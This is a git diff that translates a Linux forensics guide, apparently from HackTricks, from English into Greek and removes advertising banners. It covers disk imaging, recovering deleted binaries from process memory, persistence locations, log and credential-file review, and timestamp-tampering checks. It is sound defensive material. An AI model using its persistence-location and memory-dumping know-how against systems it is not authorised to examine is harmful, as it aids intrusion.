pre-analysis - -Imaging a disk image with no more data. - +Εικόνα μιας εικόνας δίσκου χωρίς περισσότερα δεδομένα. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Αναζήτηση για γνωστό Malware -
+### Τροποποιημένα Αρχεία Συστήματος -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Το Linux προσφέρει εργαλεία για την εξασφάλιση της ακεραιότητας των συστατικών του συστήματος, κρίσιμα για την ανίχνευση δυνητικά προβληματικών αρχείων. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε `rpm -Va` για μια ολοκληρωμένη έλεγχο. +- **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχική επαλήθευση, ακολουθούμενη από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την αναγνώριση τυχόν προβλημάτων. -## Search for known Malware +### Ανιχνευτές Malware/Rootkit -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για την εύρεση malware: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Αναζήτηση εγκατεστημένων προγραμμάτων -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων μαζί με χειροκίνητους ελέγχους σε κοινές καταλόγους. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες. +- Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα. +Για να αποκαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, και _**`/sbin`**_. Συνδυάστε τις καταχωρήσεις καταλόγων με εντολές συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +Φανταστείτε μια διαδικασία που εκτελέστηκε από /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξαγάγουμε. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Εξέταση Τοποθεσιών Αυτοεκκίνησης -## Inspect Autostart locations - -### Scheduled Tasks - +### Προγραμματισμένα Καθήκοντα ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Υπηρεσίες -### Services +Διαδρομές όπου ένα κακόβουλο λογισμικό θα μπορούσε να εγκατασταθεί ως υπηρεσία: -Paths where a malware could be installed as a service: +- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης. +- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux. +- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης. +- Οι υπηρεσίες μπορούν επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux. +- **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχείρισης συστήματος και υπηρεσιών. +- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους σε υπηρεσίες που θα πρέπει να ξεκινούν σε επίπεδο εκκίνησης πολλαπλών χρηστών. +- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή τρίτων υπηρεσίες. +- **\~/.config/autostart/**: Για αυτόματες εφαρμογές εκκίνησης συγκεκριμένες για τον χρήστη, οι οποίες μπορεί να είναι κρυψώνες για κακόβουλο λογισμικό που στοχεύει τους χρήστες. +- **/lib/systemd/system/**: Προεπιλεγμένα αρχεία μονάδας σε επίπεδο συστήματος που παρέχονται από εγκατεστημένα πακέτα. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Μονάδες Πυρήνα -### Kernel Modules +Οι μονάδες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι φάκελοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Περιέχει μονάδες για την τρέχουσα έκδοση του πυρήνα. +- **/etc/modprobe.d**: Περιέχει αρχεία ρυθμίσεων για τον έλεγχο της φόρτωσης μονάδων. +- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για παγκόσμιες ρυθμίσεις μονάδων. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης -### Other Autostart Locations +Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την είσοδο του χρήστη, ενδεχομένως φιλοξενώντας κακόβουλο λογισμικό: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε είσοδο χρήστη. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία συγκεκριμένα για τον χρήστη που εκτελούνται κατά την είσοδό τους. +- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε περιβάλλον πολλαπλών χρηστών. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Εξέταση Καταγραφών -## Examine Logs +Τα συστήματα Linux παρακολουθούν τις δραστηριότητες χρηστών και τα γεγονότα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτές οι καταγραφές είναι κρίσιμες για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, λοιμώξεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Κύρια αρχεία καταγραφής περιλαμβάνουν: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος. +- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες αυθεντικοποίησης, επιτυχείς και αποτυχημένες συνδέσεις. +- Χρησιμοποιήστε `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα αυθεντικοποίησης. +- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος. +- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφει δραστηριότητες του διακομιστή email, χρήσιμο για την παρακολούθηση υπηρεσιών σχετικών με email. +- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων. +- **/var/log/dmesg**: Περιέχει μηνύματα οδηγών συσκευών. +- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στις έρευνες παραβίασης ασφαλείας. +- **/var/log/cron**: Καταγράφει εκτελέσεις εργασιών cron. +- **/var/log/daemon.log**: Παρακολουθεί δραστηριότητες υπηρεσιών παρασκηνίου. +- **/var/log/btmp**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης. +- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD. +- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφει δραστηριότητες της βάσης δεδομένων MySQL. +- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP. +- **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητάτε κενά ή μη κανονικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης. -**Linux maintains a command history for each user**, stored in: +**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις. -Check files that can grant extra rprivileges: +Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί. +- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί. +- Εξετάστε το `/etc/groups` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα. +- Εξετάστε το `/etc/passwd` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα. -Some apps alse generates its own logs: +Ορισμένες εφαρμογές δημιουργούν επίσης τα δικά τους αρχεία καταγραφής: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Εξετάστε το _\~/.ssh/authorized_keys_ και _\~/.ssh/known_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις. +- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσβάσιμα αρχεία μέσω εφαρμογών Gnome. +- **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες. +- **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων. +- **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία. +- **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp_history_ ή _\~/.sftp_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες. +- **MySQL**: Εξετάστε το _\~/.mysql_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων. +- **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των αρχείων που προβλήθηκαν και των εντολών που εκτελέστηκαν. +- **Git**: Εξετάστε το _\~/.gitconfig_ και το έργο _.git/logs_ για αλλαγές σε αποθετήρια. -### USB Logs +### Καταγραφές USB -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) είναι ένα μικρό κομμάτι λογισμικού γραμμένο σε καθαρή Python 3 που αναλύει τα αρχεία καταγραφής Linux (`/var/log/syslog*` ή `/var/log/messages*` ανάλογα με τη διανομή) για την κατασκευή πινάκων ιστορικού γεγονότων USB. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Είναι ενδιαφέρον να **γνωρίζετε όλα τα USB που έχουν χρησιμοποιηθεί** και θα είναι πιο χρήσιμο αν έχετε μια εξουσιοδοτημένη λίστα USB για να βρείτε "γεγονότα παραβίασης" (η χρήση USB που δεν είναι μέσα σε αυτή τη λίστα). +### Εγκατάσταση ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Παραδείγματα ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +Περισσότερα παραδείγματα και πληροφορίες μέσα στο github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης -
+Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **ασφαλιστικά αρχεία** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\ +Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\ +Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης. -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## Εξέταση Συστήματος Αρχείων -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού -## Review User Accounts and Logon Activities +Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων. -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Για να αντισταθούμε σε αυτές τις αντι-δικαστικές μεθόδους, είναι απαραίτητο να: +- **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας. +- **Εξετάστε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους. +- **Εξετάστε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό. +- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο. +- **Εντοπίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με αυξημένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους. +- **Ανασκοπήστε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, πιθανώς υποδεικνύοντας την παρουσία rootkits ή trojans. +- **Εξετάστε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί. +- **Ελέγξτε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Αν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι του αρχείου αυτού τροποποιήθηκαν**. -## Compare files of different filesystem versions +## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων -### Filesystem Version Comparison Summary +### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`: +- **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Για τροποποιημένο περιεχόμενο**, καταγράψτε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Για να ανιχνεύσετε διαγραμμένα αρχεία**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στη στένωση σε συγκεκριμένες αλλαγές όπως προσθήκες (`A`), διαγραφές (`D`), ή τροποποιημένα (`M`) αρχεία. +- `A`: Προσθήκες αρχείων +- `C`: Αντιγραμμένα αρχεία +- `D`: Διαγραμμένα αρχεία +- `M`: Τροποποιημένα αρχεία +- `R`: Μετονομασμένα αρχεία +- `T`: Αλλαγές τύπου (π.χ., αρχείο σε symlink) +- `U`: Μη συγχωνευμένα αρχεία +- `X`: Άγνωστα αρχεία +- `B`: Σπασμένα αρχεία -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Αναφορές - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Βιβλίο: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..68c623c54 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Ανάλυση Κακόβουλου Λογισμικού {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## Φύλλα Συμβουλών Ψηφιακής Εγκληματολογίας [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Διαδικτυακές Υπηρεσίες - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Offline Antivirus και Εργαλεία Ανίχνευσης ### Yara -#### Install - +#### Εγκατάσταση ```bash sudo apt-get install -y yara ``` +#### Ετοιμάστε κανόνες -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: 